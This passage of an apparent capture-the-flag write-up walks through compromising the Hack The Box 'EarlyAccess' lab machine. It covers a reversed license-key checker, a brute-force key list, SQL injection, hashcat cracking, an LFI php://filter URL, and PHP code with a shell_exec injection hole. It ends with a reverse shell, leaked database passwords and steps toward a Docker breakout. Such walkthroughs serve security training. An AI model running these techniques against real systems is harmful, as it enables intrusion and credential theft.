with API (api generates magic_num every 30min) valid = False cs_value = 0 cs_valid = False g1_valid = False g2_valid = False g3_valid = False g4_valid = False valid = bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", key)) print("valid_format: ", valid) gs = key.split('-')[:-1] cs_value = sum([sum(bytearray(g.encode())) for g in gs]) print("cs_value: ", cs_value) ### g1 discovered by changing the first 3 characters untill the r value matched g1 = key.split('-')[0] r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])] print("r: ", r) if r != [221, 81, 145]: g1_valid = False for v in g1[3:]: try: int(v) except: g1_valid = False g1_valid = len(set(g1)) == len(g1) print("g1_valid: ", g1_valid) ### g2 discovered by putting p1 on 0 and shifting p2 until it matched g2 = key.split('-')[1] p1 = g2[::2] p2 = g2[1::2] g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode())) print("g2_valid: ", g2_valid) # TODO: Add mechanism to sync magic_num with API g3 = key.split('-')[2] if g3[0:2] == magic_value: g3_valid = sum(bytearray(g3.encode())) == magic_num else: g3_valid = False print("g3_valid: ", g3_valid) ### Same approach as g1 try different values untill they matched print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])]) g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12, 4, 20, 117, 0] print("g4_valid: ", g4_valid) ### The CS value is just a byte sum of the whole key so this has to be the last value to crack and is pretty easy because we can just print the real CS value and match it cs = int(key.split('-')[-1]) print("cs: ", cs) cs_valid = cs_value == cs print("cs_valid: ", cs_valid) def check(self) -> bool: if not self.valid_format(): print('Key format invalid!') return False if not self.g1_valid(): return False if not self.g2_valid(): return False if not self.g3_valid(): return False if not self.g4_valid(): return False if not self.cs_valid(): print('[Critical] Checksum verification failed!') return False return True </code> </pre> <a href="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LocalKeyValidate.png" alt=""></a> <p>We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.</p> <pre style="text-align: left"> <code class="prettyprint"> KEY01-0H0H0-XPAA0-GAME1-1295 KEY01-0H0H0-XPAB0-GAME1-1296 KEY01-0H0H0-XPAC0-GAME1-1297 KEY01-0H0H0-XPAD0-GAME1-1298 KEY01-0H0H0-XPAE0-GAME1-1299 KEY01-0H0H0-XPAF0-GAME1-1300 KEY01-0H0H0-XPAG0-GAME1-1301 KEY01-0H0H0-XPAH0-GAME1-1302 KEY01-0H0H0-XPAI0-GAME1-1303 KEY01-0H0H0-XPAJ0-GAME1-1304 KEY01-0H0H0-XPAK0-GAME1-1305 KEY01-0H0H0-XPAL0-GAME1-1306 KEY01-0H0H0-XPAM0-GAME1-1307 KEY01-0H0H0-XPAN0-GAME1-1308 KEY01-0H0H0-XPAO0-GAME1-1309 KEY01-0H0H0-XPAP0-GAME1-1310 KEY01-0H0H0-XPAQ0-GAME1-1311 KEY01-0H0H0-XPAR0-GAME1-1312 KEY01-0H0H0-XPAS0-GAME1-1313 KEY01-0H0H0-XPAT0-GAME1-1314 KEY01-0H0H0-XPAU0-GAME1-1315 KEY01-0H0H0-XPAV0-GAME1-1316 KEY01-0H0H0-XPAW0-GAME1-1317 KEY01-0H0H0-XPAX0-GAME1-1318 KEY01-0H0H0-XPAY0-GAME1-1319 KEY01-0H0H0-XPAZ0-GAME1-1320 KEY01-0H0H0-XPBZ0-GAME1-1321 KEY01-0H0H0-XPCZ0-GAME1-1322 KEY01-0H0H0-XPDZ0-GAME1-1323 KEY01-0H0H0-XPEZ0-GAME1-1324 KEY01-0H0H0-XPFZ0-GAME1-1325 KEY01-0H0H0-XPGZ0-GAME1-1326 KEY01-0H0H0-XPHZ0-GAME1-1327 KEY01-0H0H0-XPIZ0-GAME1-1328 KEY01-0H0H0-XPJZ0-GAME1-1329 KEY01-0H0H0-XPKZ0-GAME1-1330 KEY01-0H0H0-XPLZ0-GAME1-1331 KEY01-0H0H0-XPMZ0-GAME1-1332 KEY01-0H0H0-XPNZ0-GAME1-1333 KEY01-0H0H0-XPOZ0-GAME1-1334 KEY01-0H0H0-XPPZ0-GAME1-1335 KEY01-0H0H0-XPQZ0-GAME1-1336 KEY01-0H0H0-XPRZ0-GAME1-1337 KEY01-0H0H0-XPSZ0-GAME1-1338 KEY01-0H0H0-XPTZ0-GAME1-1339 KEY01-0H0H0-XPUZ0-GAME1-1340 KEY01-0H0H0-XPVZ0-GAME1-1341 KEY01-0H0H0-XPWZ0-GAME1-1342 KEY01-0H0H0-XPXZ0-GAME1-1343 KEY01-0H0H0-XPYZ0-GAME1-1344 KEY01-0H0H0-XPZZ0-GAME1-1345 KEY01-0H0H0-XPZZ1-GAME1-1346 KEY01-0H0H0-XPZZ2-GAME1-1347 KEY01-0H0H0-XPZZ3-GAME1-1348 KEY01-0H0H0-XPZZ4-GAME1-1349 KEY01-0H0H0-XPZZ5-GAME1-1350 KEY01-0H0H0-XPZZ6-GAME1-1351 KEY01-0H0H0-XPZZ7-GAME1-1352 KEY01-0H0H0-XPZZ8-GAME1-1353 KEY01-0H0H0-XPZZ9-GAME1-1354 </code> </pre> <p>First we need to intercept to post so we can copy it.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteIntercept.png" alt=""></a> <p>Now we can send it to the intruder to start brute-forcing this magic number.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePayload.png" alt=""></a> <p>I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuitePOST.png" alt=""></a> <p>Now let's start attacking!</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteFailedAttack.png" alt=""></a> <p>That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAllowRedirect.png" alt=""></a> <p>Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.</p> <a href="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/BurpsuiteAttack.png" alt=""></a> <p>Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.</p> <a href="img/portfolio/minor/red/htb_linux/KeyValidationTest.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/KeyValidationTest.png" alt=""></a> <p>And it worked! Now lets go back to our normal user account and add this key to our account.</p> <a href="img/portfolio/minor/red/htb_linux/AddKeyToUser.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/AddKeyToUser.png" alt=""></a> <p>Now we got the key added to our account we can take a look at that game subdomain we found earlier.</p> <a href="img/portfolio/minor/red/htb_linux/Scoreboard.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Scoreboard.png" alt=""></a> <p>Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.</p> <a href="img/portfolio/minor/red/htb_linux/VulnForSQLI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/VulnForSQLI.png" alt=""></a> <p>It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.</p> <a href="img/portfolio/minor/red/htb_linux/SQLVersion.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLVersion.png" alt=""></a> <p>Now look at that this should be easy. Lets try to enumerate the database tables.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIDBDump.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIDBDump.png" alt=""></a> <p>A user table? Very interesting lets see if it contains any passwords or usernames.</p> <a href="img/portfolio/minor/red/htb_linux/SQLIUsers.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SQLIUsers.png" alt=""></a> <p>And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.</p> <a href="img/portfolio/minor/red/htb_linux/HashIdentifier.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashIdentifier.png" alt=""></a> <p>Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.</p> <code>hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt</code> <a href="img/portfolio/minor/red/htb_linux/Hashcat.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Hashcat.png" alt=""></a> <p>Yes it can! Now lets try to use these credentials to log into the dev subdomain.</p> <a href="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LoggedIntoDev.png" alt=""></a> <p>Lets try to run Dirbuster one more time to see if it finds anything.</p> <a href="img/portfolio/minor/red/htb_linux/Dirbuster.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Dirbuster.png" alt=""></a> <p>Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.</p> <a href="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DirbusterPHPSESSID.png" alt=""></a> <p>Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.</p> <a href="img/portfolio/minor/red/htb_linux/SpecifyFile.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SpecifyFile.png" alt=""></a> <p>Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.</p> <a href="img/portfolio/minor/red/htb_linux/FileExecuted.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/FileExecuted.png" alt=""></a> <p>Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this <a href="https://medium.com/@nyomanpradipta120/local-file-inclusion-vulnerability-cfd9e62d12cb">website</a> that explains a LFI vulnerability we could try</p> <code>https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php</code> <a href="img/portfolio/minor/red/htb_linux/HashBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashBase64.png" alt=""></a> <p>This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.</p> <a href="img/portfolio/minor/red/htb_linux/DecodedBase64.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DecodedBase64.png" alt=""></a> <p>Using an online base64 decoder we managed to find the source code of the hash.php file.</p> <pre style="text-align: left"> <code class="prettyprint"> <?php include_once "../includes/session.php"; function hash_pw($hash_function, $password) { // DEVELOPER-NOTE: There has gotta be an easier way... ob_start(); // Use inputted hash_function to hash password $hash = @$hash_function($password); ob_end_clean(); return $hash; } try { if(isset($_REQUEST['action'])) { if($_REQUEST['action'] === "verify") { // VERIFIES $password AGAINST $hash if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); $_SESSION['verify'] = ($hash === $_REQUEST['hash']); header('Location: /home.php?tool=hashing'); return; } } elseif($_REQUEST['action'] === "verify_file") { //TODO: IMPLEMENT FILE VERIFICATION } elseif($_REQUEST['action'] === "hash_file") { //TODO: IMPLEMENT FILE-HASHING } elseif($_REQUEST['action'] === "hash") { // HASHES $password USING $hash_function if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password'])) { // Only allow custom hashes, if `debug` is set if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug'])) throw new Exception("Only MD5 and SHA1 are currently supported!"); $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']); if(!isset($_REQUEST['redirect'])) { echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>"; echo '<br>' . $hash; return; } else { $_SESSION['hash'] = $hash; header('Location: /home.php?tool=hashing'); return; } } } } // Action not set, ignore throw new Exception(""); } catch(Exception $ex) { if($ex->getMessage() !== "") $_SESSION['error'] = htmlentities($ex->getMessage()); header('Location: /home.php'); return; } ?> </code> </pre> <p>After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSPOST.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolLSResult.png" alt=""></a> <p>Looks like it worked now lets try to get a reverse shell.</p> <a href="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/HashingToolReverseShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WWW-DataShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-DataShell.png" alt=""></a> <p>And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?</p> <a href="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WWW-AdmShell.png" alt=""></a> <p>And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.</p> <a href="img/portfolio/minor/red/htb_linux/WGETAPI.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETAPI.png" alt=""></a> <p>And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.</p> <a href="img/portfolio/minor/red/htb_linux/CatCheckDB.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatCheckDB.png" alt=""></a> <p>Looks like JSON but we first need to prettify it to make it more readable.</p> <pre style="text-align: left"> <code class="prettyprint"> { "message":{ "AppArmorProfile":"docker-default", "Args":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Config":{ "AttachStderr":false, "AttachStdin":false, "AttachStdout":false, "Cmd":[ "--character-set-server=utf8mb4", "--collation-server=utf8mb4_bin", "--skip-character-set-client-handshake", "--max_allowed_packet=50MB", "--general_log=0", "--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES" ], "Domainname":"", "Entrypoint":[ "docker-entrypoint.sh" ], "Env":[ "MYSQL_DATABASE=db", "MYSQL_USER=drew", "MYSQL_PASSWORD=drew", "MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5", "SERVICE_TAGS=dev", "SERVICE_NAME=mysql", "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "GOSU_VERSION=1.12", "MYSQL_MAJOR=8.0", "MYSQL_VERSION=8.0.25-1debian10" ], "ExposedPorts":{ "3306/tcp":{ }, "33060/tcp":{ } }, "Healthcheck":{ "Interval":5000000000, "Retries":3, "Test":[ "CMD-SHELL", "mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent" ], "Timeout":2000000000 }, "Hostname":"mysql", "Image":"mysql:latest", "Labels":{ "com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839", "com.docker.compose.container-number":"1", "com.docker.compose.oneoff":"False", "com.docker.compose.project":"app", "com.docker.compose.project.config_files":"docker-compose.yml", "com.docker.compose.project.working_dir":"/root/app", "com.docker.compose.service":"mysql", "com.docker.compose.version":"1.29.1" }, "OnBuild":null, "OpenStdin":false, "StdinOnce":false, "Tty":true, "User":"", "Volumes":{ "/docker-entrypoint-initdb.d":{ }, "/var/lib/mysql":{ } }, "WorkingDir":"" }, "Created":"2021-10-04T06:57:43.698655618Z", "Driver":"overlay2", "ExecIDs":null, "GraphDriver":{ "Data":{ "LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff", "MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged", "UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff", "WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work" }, "Name":"overlay2" }, "HostConfig":{ "AutoRemove":false, "Binds":[ "/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro", "app_vol_mysql:/var/lib/mysql:rw" ], "BlkioDeviceReadBps":null, "BlkioDeviceReadIOps":null, "BlkioDeviceWriteBps":null, "BlkioDeviceWriteIOps":null, "BlkioWeight":0, "BlkioWeightDevice":null, "CapAdd":[ "SYS_NICE" ], "CapDrop":null, "Cgroup":"", "CgroupParent":"", "CgroupnsMode":"host", "ConsoleSize":[ 0, 0 ], "ContainerIDFile":"", "CpuCount":0, "CpuPercent":0, "CpuPeriod":0, "CpuQuota":0, "CpuRealtimePeriod":0, "CpuRealtimeRuntime":0, "CpuShares":0, "CpusetCpus":"", "CpusetMems":"", "DeviceCgroupRules":null, "DeviceRequests":null, "Devices":null, "Dns":null, "DnsOptions":null, "DnsSearch":null, "ExtraHosts":null, "GroupAdd":null, "IOMaximumBandwidth":0, "IOMaximumIOps":0, "IpcMode":"private", "Isolation":"", "KernelMemory":0, "KernelMemoryTCP":0, "Links":null, "LogConfig":{ "Config":{ }, "Type":"json-file" }, "MaskedPaths":[ "/proc/asound", "/proc/acpi", "/proc/kcore", "/proc/keys", "/proc/latency_stats", "/proc/timer_list", "/proc/timer_stats", "/proc/sched_debug", "/proc/scsi", "/sys/firmware" ], "Memory":0, "MemoryReservation":0, "MemorySwap":0, "MemorySwappiness":null, "NanoCpus":0, "NetworkMode":"app_nw", "OomKillDisable":false, "OomScoreAdj":0, "PidMode":"", "PidsLimit":null, "PortBindings":{ }, "Privileged":false, "PublishAllPorts":false, "ReadonlyPaths":[ "/proc/bus", "/proc/fs", "/proc/irq", "/proc/sys", "/proc/sysrq-trigger" ], "ReadonlyRootfs":false, "RestartPolicy":{ "MaximumRetryCount":0, "Name":"always" }, "Runtime":"runc", "SecurityOpt":null, "ShmSize":67108864, "UTSMode":"", "Ulimits":null, "UsernsMode":"", "VolumeDriver":"", "VolumesFrom":[ ] }, "HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname", "HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts", "Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216", "Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287", "LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log", "MountLabel":"", "Mounts":[ { "Destination":"/docker-entrypoint-initdb.d", "Mode":"ro", "Propagation":"rprivate", "RW":false, "Source":"/root/app/scripts/init.d", "Type":"bind" }, { "Destination":"/var/lib/mysql", "Driver":"local", "Mode":"rw", "Name":"app_vol_mysql", "Propagation":"", "RW":true, "Source":"/var/lib/docker/volumes/app_vol_mysql/_data", "Type":"volume" } ], "Name":"/mysql", "NetworkSettings":{ "Bridge":"", "EndpointID":"", "Gateway":"", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "HairpinMode":false, "IPAddress":"", "IPPrefixLen":0, "IPv6Gateway":"", "LinkLocalIPv6Address":"", "LinkLocalIPv6PrefixLen":0, "MacAddress":"", "Networks":{ "app_nw":{ "Aliases":[ "47c78eb0450f", "mysql" ], "DriverOpts":null, "EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e", "Gateway":"172.18.0.1", "GlobalIPv6Address":"", "GlobalIPv6PrefixLen":0, "IPAMConfig":{ "IPv4Address":"172.18.0.100" }, "IPAddress":"172.18.0.100", "IPPrefixLen":16, "IPv6Gateway":"", "Links":null, "MacAddress":"02:42:ac:12:00:64", "NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532" } }, "Ports":{ "3306/tcp":null, "33060/tcp":null }, "SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1", "SandboxKey":"/var/run/docker/netns/99cbb57fded2", "SecondaryIPAddresses":null, "SecondaryIPv6Addresses":null }, "Path":"docker-entrypoint.sh", "Platform":"linux", "ProcessLabel":"", "ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf", "RestartCount":0, "State":{ "Dead":false, "Error":"", "ExitCode":0, "FinishedAt":"0001-01-01T00:00:00Z", "Health":{ "FailingStreak":0, "Log":[ { "End":"2021-10-04T17:08:01.998027574+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:01.908189033+02:00" }, { "End":"2021-10-04T17:08:07.080804898+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:07.000613396+02:00" }, { "End":"2021-10-04T17:08:12.166584919+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:12.083845791+02:00" }, { "End":"2021-10-04T17:08:17.254375293+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:17.16894306+02:00" }, { "End":"2021-10-04T17:08:22.350400823+02:00", "ExitCode":0, "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n", "Start":"2021-10-04T17:08:22.257747436+02:00" } ], "Status":"healthy" }, "OOMKilled":false, "Paused":false, "Pid":1108, "Restarting":false, "Running":true, "StartedAt":"2021-10-04T06:57:47.409835076Z", "Status":"running" } }, "status":200 } </code> </pre> <p>Looks like an username and some passwords lets try those with ssh.</p> <a href="img/portfolio/minor/red/htb_linux/UserFlag.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/UserFlag.png" alt=""></a> <p>We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.</p> <a href="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SimpleHTTPServer.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/WGETLinpeas.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/WGETLinpeas.png" alt=""></a> <p>I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.</p> <a href="img/portfolio/minor/red/htb_linux/LinpeasMail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasMail.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerIP.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/LinpeasDockerFolder.png" alt=""></a> <p>Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.</p> <a href="img/portfolio/minor/red/htb_linux/Mail.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Mail.png" alt=""></a> <p>This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.</p> <a href="img/portfolio/minor/red/htb_linux/Game-testerShell.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/Game-testerShell.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderGame-tester.png" alt=""></a> <a href="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/SharedFolderDrew.png" alt=""></a> <p>And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.</p> <a href="img/portfolio/minor/red/htb_linux/CatNode-server.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatNode-server.png" alt=""></a> <p>It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.</p> <a href="img/portfolio/minor/red/htb_linux/CatServerJS.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/CatServerJS.png" alt=""></a> <p>Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.</p> <a href="img/portfolio/minor/red/htb_linux/DrewPublicKey.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/minor/red/htb_linux/DrewPublicKey.png" alt=""></a> <p>I found this <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation/docker-breakout">website</a> explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.</p> <a 